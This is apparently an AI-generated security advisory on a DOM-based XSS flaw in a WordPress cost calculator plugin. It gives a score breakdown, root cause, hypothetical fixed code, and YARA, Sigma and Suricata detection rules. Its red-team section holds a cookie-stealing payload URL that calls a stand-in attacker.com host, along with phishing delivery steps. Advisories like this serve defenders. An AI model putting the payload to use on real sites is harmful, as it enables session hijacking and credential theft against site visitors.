CVE-2025-47476

Executive Summary

CVE-2025-47476 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Cost Calculator for Elementor WordPress plugin, developed by add-ons.org. The flaw exists in versions up to and including 1.3.3, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying Apache or Nginx servers.

The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial confidentiality, integrity, and availability impact. With an EPSS score of 0.0%, exploitation is currently not widespread, but the lack of a patch makes this a ticking time bomb for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the plugin's popularity in the WordPress ecosystem elevate the long-term threat.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the injection occurs entirely on the client side. The plugin's JavaScript code processes user input (e.g., from URL parameters, form fields, or stored data) and inserts it into the DOM without proper sanitization. An attacker can craft a malicious URL or input that, when processed by the plugin, executes arbitrary JavaScript in the victim's browser.

Root Cause: The plugin fails to escape or validate input before using it in DOM manipulation functions like innerHTML, document.write, or jQuery's .html(). This allows an attacker to break out of the intended context and inject script tags or event handlers.

Attack Vector: The attacker can deliver the payload via:

• A crafted link (e.g., https://victim-site.com/?cost-calculator-input=<script>alert(1)</script>)
• A malicious form submission
• Stored data that is later rendered without sanitization

Impact: Successful exploitation can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for DOM-Based XSS.

Vulnerable Code (JavaScript):

// Vulnerable: Directly inserts user input into DOM
var userInput = getParameterByName('cost');
document.getElementById('result').innerHTML = userInput;

Patched Code (Hypothetical):

// Patched: Uses textContent to safely insert text
var userInput = getParameterByName('cost');
document.getElementById('result').textContent = userInput;

Explanation: The vulnerable code uses innerHTML, which parses the input as HTML. The patched code uses textContent, which treats the input as plain text, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Cost Calculator for Elementor <= 1.3.3 installed and active.
• A victim user who will interact with the crafted link.

Exploitation Steps:

1. Identify a parameter that the plugin processes (e.g., cost).
2. Craft a malicious URL:

   https://victim-site.com/?cost=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes and exfiltrates their cookies.

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for innerHTML, document.write, or eval in the plugin's JavaScript files.
• Check for unsanitized $_GET or $_POST parameters in the plugin's PHP code.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown domains from the victim's browser.
  • HTTP requests containing <script> tags in query parameters.
• Host:
  • Modified plugin files (e.g., cost-calculator-for-elementor/assets/js/script.js).
  • Unexpected JavaScript files in the plugin directory.
• Logs:
  • Web server logs with entries like GET /?cost=<script>...</script>.
  • Browser console errors related to script execution.

Detection Engineering

YARA Rule

rule CVE_2025_47476_DOM_XSS {
    meta:
        description = "Detects DOM-Based XSS in Cost Calculator for Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47476"
    strings:
        $xss1 = /\.innerHTML\s*=\s*[^;]*\$[^;]*/ nocase
        $xss2 = /\.html\(\s*[^)]*\$[^)]*\)/ nocase
        $xss3 = /document\.write\s*\([^)]*\$[^)]*\)/ nocase
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS in Cost Calculator for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-Based XSS exploitation attempts against CVE-2025-47476
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in form data
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47476 DOM-Based XSS Attempt"; flow:to_server; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF to block XSS payloads.
3. Add CSP headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
   

Long-Term Fix:

• Monitor the vendor's website (add-ons.org) for a patched version.
• Consider replacing the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.